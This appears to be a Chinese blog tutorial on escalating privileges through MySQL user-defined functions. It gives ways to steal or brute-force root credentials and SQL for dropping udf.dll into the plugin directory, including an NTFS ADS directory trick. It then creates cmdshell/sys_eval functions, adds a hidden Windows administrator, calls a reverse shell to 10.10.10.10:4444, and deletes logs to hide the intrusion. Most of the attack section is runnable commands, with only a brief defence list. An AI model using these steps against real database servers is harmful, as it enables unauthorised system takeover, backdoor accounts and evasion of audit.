• MySQL之UDF提权


    0x00:简介

    UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
    • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的libplugin文件夹下/
    • 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:windowssystem32目录,在windows server 2000下放置在c:winntsystem32目录。
    • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
    • 拥有可以将udf.dll写入相应目录的权限。

    提权原理:

    通过root权限,导入udf.dll到系统目录下,可以通过udf.dll调用执行cmd

    参考链接:

    https://bbs.ichunqiu.com/thread-39697-1-1.html (这个比较详细)

    https://www.jianshu.com/p/5b34c1b6dee7

    https://www.freebuf.com/articles/system/163144.html

    https://www.cnblogs.com/R4v3n/articles/8722657.html

    0x01:提权方法

    要求:

     1.目标系统是Windows(Win2000,XP,Win2003);

    window server 2000  C:winntudf.dll

    window server 2003 C:windowsudf.dll

    2.可以将udf.dll写入到相应目录的权限。

    3.掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。

     获取到对方的mysql数据库下的root账号密码方法

     1. 查看网站源码里面数据库配置文件(inc,conn,config,common,data等)

     2. 查看数据库安装路径下的user.myd(/data/mysql/)

    3. 暴力破解mysql密码,破解3306端口入侵

    目的: 

    (1)导入udf.dll。MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数 可以再mysql里输入select @@basedir;show variables like ‘%plugins%’ 寻找mysql安装路径

    (2)创建函数

    create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

    (3)执行系统命令提权

    select sys_eval(‘whoami’);

    net user 123 123 /add

    net localgroup administrators 123

    net user 123 123 /del

     (4)清除痕迹

    drop function cmdshell;// 将函数删除

    删除udf.dll文件以及其它相关入侵文件及日志

    0x02:实际操作

    ###先拿sql-labs测试一下,系统:windows xp###

    (1)获取数据库版本、数据位置以及插件位置等信息

    1. select version();//获取数据库版本 
    2. select user();//获取数据库用户 
    3. select @@basedir ;//获取安装目录 
    4. show variables like '%plugins%'; //寻找mysql安装路径 
    5. select @@plugin_dir;

    一般 plugins目录 在   安装目录/lib/plugins

     

     如果没有lib/plugin目录的话

    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 
     
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

    执行成功以后就会plugin目录,然后再进行导出udf.dll即可。

    总结

    有webshell的提权:

    直接 上传udf马儿

     

    没有webshell的情况下提权

    先获取mysql的各种信息,获取mysql版本,安装路径,/lib/plugin 的路径

    之后通过查询将udf.dll转成代码插入数据库

     

    use mysql; 
    set @a=concat('',0x代码); 
    create table Ghost(data LONGBLOB); 
    insert into Ghost values("");update Ghost set data = @a; 
    代码为select hex(load_file('c:/udf.dll'))中的内容 
    select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //导出ufd.dll 
    CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//创建函数 
    select backshell("10.10.10.10",4444);

      拷贝别人的靶场环境,又双被弄出问题了,wamp一直是红色的,懒得弄了,待会自己搭建一个

     ******

     1.目标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数 可以再mysql里输入select @@basedirshow variables like ‘%plugins%’ 寻找mysql安装路径 提权:

    使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

    create function cmdshell returns string soname ‘udf.dll’

    select cmdshell(‘net user arsch arsch /add’);

    select cmdshell(‘net localgroup administrators arsch /add’);

    drop function cmdshell;

    该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。

    *******

     常见错误:

    1. #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 
    2.  
    3. SHOW VARIABLES LIKE "secure_file_priv" 

    在my.ini 或者mysql.cnf 文件中注销 (使用#号) 包含secure_file_priv的行。

    1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将my.ini中的skip-grant-tables选项去掉。

    cmdshell不再library中,可以换一个函数,例如sys_exec

    0x03:防范方法

    尽量避免提供对外链接,通过mysql中的user表进行查看,禁用"%"。
    设置复杂的Root账号密码。
    对my.ini设置只读属性,设置plugin目录为只读目录。

    finished

  • 相关阅读:
    远程rdp vnc连接 UBuntu 10.10
    解决develop.android.com无法访问到最佳方法
    Android系统源码编译全过程——下载Android源文件并编译
    SQL Server 2005配置sa登录和允许远程访问
    获取ItemTemplate值
    tab转Enter
    分布式事务
    google站内搜索
    在ASP.NET中动态生成图形(转)
    Transcation Scope,使代码块成为事务性代码
  • 原文地址:https://www.cnblogs.com/liqik/p/12909952.html
Copyright © 2020-2023  润新知